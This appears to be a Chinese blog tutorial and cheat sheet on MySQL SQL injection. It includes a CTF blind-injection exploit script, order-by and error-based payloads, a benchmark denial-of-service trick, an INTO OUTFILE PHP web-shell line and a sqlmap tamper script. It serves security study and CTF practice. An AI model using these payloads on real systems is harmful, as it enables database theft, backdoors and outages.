MySQL数据库注入方法总结

数据库相关注入语句收集

0

Mysql Flase Injection,这种注入主要利用了MySQL的隐式类型转换

  • 两个参数进行比较,如果有一个是NULL,那么结果为NULL。
  • 两个NULL进行<=>比较结果为1,使用=比较结果为NULL。
  • 字符串和浮点数进行比较,会先将字符串转化为浮点数。

这种注入方法可以在某些情况下绕过一些过滤

比如过滤了and or | &逻辑运算符,可以使用异或^来绕过登陆判断

因为异或运算符的优先级要高于等于号,首先进行‘hack’^0的运算,字符串hack会被强制转换为浮点数0,0异或0为0.接着再进行比较运算,字符串password会被强制转换为浮点数0,0与0相等,比较结果为1。

1

过滤了and、or,可以使用&&、||绕过

过滤了空格,可以使用括号绕过

1
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)

2

利用left和like进行盲注

left是返回查询结果左边n个字符

if(expre1,expre2,expre3);当expre1为真,返回expre2,否则返回expre3

这其实是一道CTF题中的payload,不如让我们分析一下整个EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import threading
import time
from random import Random
url = "http://202.120.7.197/"
cookie = {'PHPSESSID': 'qlqmjbq7uglcr0onm1lmm4ndg4'}
r=requests.get(url+'app.php?action=search&keyword=&order=if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)', cookies=cookie)
err = r.text
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
def check(payload):
cookie = {'PHPSESSID': 'qlqmjbq7uglcr0onm1lmm4ndg4'}
r=requests.get(url+'app.php?action=search&keyword=&order='+payload, cookies=cookie)
return r.text
flag = ""
for m in range(1,35):
for i in s:
payload = "if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%s))like(0x25%s)),name,price)" % (str(m), hex(ord(i))[2:])
if check(payload) != err:
flag +=i
print flag
break

脚本前面捕获了一个注入无结果的返回值err,并定义了字典s。接下来使用两层嵌套循环构造payload,第一个参数%s处是限制left函数截取的长度,第二个参数将字符串中的字符转化为16进制之后拼接入payload。整个payload的含义就是从表中取flag,逐字符猜解flag;如果猜解正确则返回name,猜解错误返回price。推测是因为前端没办法直接看到注入回显,所以只能用盲注的方法,通过影响页面其他可见部分来间接看到flag。

3

Order by注入。注入点在sql语句中order by之后,如

1
select * from goods order by $_GET['order']

一般在注入中,order by的作用是探测被注入表的行数,和union配合进行注入。在不知道列名的时候,可以使用序号作为指代。

order by注入跟上一个False注入有些类似,中心思想就是通过添加条件判断语句,观察order by结果的不同获取数据。

1
2
3
4
5
order by IF(1=1,name,price) -- 通过name字段排序
order by (1=2,name,price) -- 通过price字段排序

order by (CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) -- 通过name字段排序
order by (CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) -- 通过price字段排序

判断条件可以根据想获取的数据来自定义。如果无法直观的看到order by排序的差别,可以使用类似

1
2
3
4
5
order by (1=1,1,(select+1+union+select+2)) -- 正确
order by (1=2,1,(select+1+union+select+2)) -- 错误

order by updatexml(1,if(1=1,1,user()),1) -- 正确
order by updatexml(1,if(1=2,1,user()),1) -- 错误

这样的语句,人工制造一个正确/错误页面

其中updatexml也是一种注入方法,可以参考我的一篇文章

order by注入还可以产生拒绝服务攻击

1
benchmark(count,exp)

它会执行count次表达式exp。

4

lpad/rpad

字符串填充函数

1
lpad(str,len,padstr)		-- 使用padstr在str左侧将字符串填充置len长度

5

判断已知表的字段数

1
select 1 and (select * from  [已知表])=1; --

通过观察报错直接看字段数

6

查表名,能看到回显的直接从information_schema.tables里面查

也可以通过写脚本的方法猜解表名,具体方法前面总结果了

没有回显的话可以通过时间盲注

1
if((select substr(table_name,1,1) from information_schema.tables>'A'),sleep(5),1);

7

concatconcat_ws函数可以将字符拼接为字符串

8

LOAD_FILEOUTFILE可以向本地读写文件,读文件有一些限制,并且这个函数在我的一篇文章里有详细的介绍。

1
select '<?php system('$_GET['command']); />' into outfile '/var/www/html/shell.php';

可以使用outfile写这样的php一句话后门

高版本的MySQL由于有security-file-priv的存在,需要将其关闭或者写在此变量设置的目录下才可以。

9

宽字节注入,原理就是编码问题。这种情况主要在国内发生的比较多,因为采用了gbk编码,如果使用了addslashes函数进行过滤给引号'加上反斜杠\进行转义。因为反斜杠的gbk编码为%5c,在你输入%bf%27时,函数遇到单引号自动加入反斜杠进行转义,此时变为%bf%5c%27%bf%5c在gbk中变为一个宽字符“縗”。

10

利用count、floor、group by的组合报错获取数据

首先看一下最基本的floor注入的语句

1
select count(*) ,floor(rand(0)*2)x from information group by x;

这个语句中floor(rand(0)*2)x中的x是为floor(rand(0)*2)这张表格命名的一个别名

rand函数的作用是产生0-1的随机数,而floor函数的作用是将浮点数向下取整,让把rand函数产生的随机数进行平方之后,floor函数取整的结果就限制在了0和1之间。

使用concat_ws拼接数据表中的一列

数据表中有几行,floor(rand()*2)就执行几次

使用group by进行排序

使用count函数统计数量

如果将随机因子floor(rand()*2)去掉的话

则不会报错。该报错的原理很复杂

在mysql在遇到select count(*) from tables group by x;这语句的时候会建立一个虚拟表

  1. 在计算count的时候会先查询虚拟表,如果其中的key已经存在,那么直接在count(*)处加一;不存在的话就根据查询到的要计数的值创建一个新的key

  2. floor(rand(0)*2)产生的序列是固定的011011011011......

  3. mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次

有了以上三点之后就可以进行分析

  • 首先查询第一条记录,floor(rand(0)*2)第一次被执行生成0,查询到虚拟表中没有key为0的记录,于是根据特性3再执行一次floor(rand(0)*2),生成1,将1作为key插入到虚拟表之中,此时虚拟表如下

  • 然后进行第二次查询,注意这里不是查询虚拟表而是执行select语句。此时执行到了第三次floor(rand(0)*2),生成1,然后查询虚拟表发现key1的记录已经存在了,所以不需要再次执行floor(rand(0)*2),直接在count(*)处加一,此时的虚拟表如下

  • 进行第三次查询(select),执行第四次floor(rand(0)*2),生成0,查询虚拟表发现key0的记录不存在,于是执行第五次floor(rand(0)*2)生成1并插入虚拟表,可此时虚拟表中key1的记录已经存在了,注意这里不是进行count计数而是直接插入,造成了主键重复的错误

至此执行了三次查询(select),五次floor(rand(0)*2),造成了MySQL虚拟表主键重复报错从而获取数据。

tamper编写

我们可以看看在实际注入中经常使用的space2comment.py这个tamper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python2

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass weak and bespoke web application firewalls

>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/**/"
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/"
continue

retVal += payload[i]

return retVal

结构分为:priority变量定义、dependencies定义、tamper函数定义

priority:定义脚本优先级,用于又多个tamper脚本情况

1
2
3
4
5
6
7
__priority__=PRIORITY.LOWEST 
__priority__=PRIORITY.LOWER
__priority__=PRIORITY.LOW
__priority__=PRIORITY.NORMAL
__priority__=PRIORITY.HIGH
__priority__=PRIORITY.HIGHER
__priority__=PRIORITY.HIGHEST

dependencies:函数声明该脚本适用或不适应的范围,可以为空

tamper:是主要函数,接受的参数为payload和**kwargs,返回值为替换后的payload

在这个脚本中主要是用for循环遍历原先的payload,检测其中的空格(space),替换为注释(/**/)。可以替换这两点的代码,自定义自己的tamper。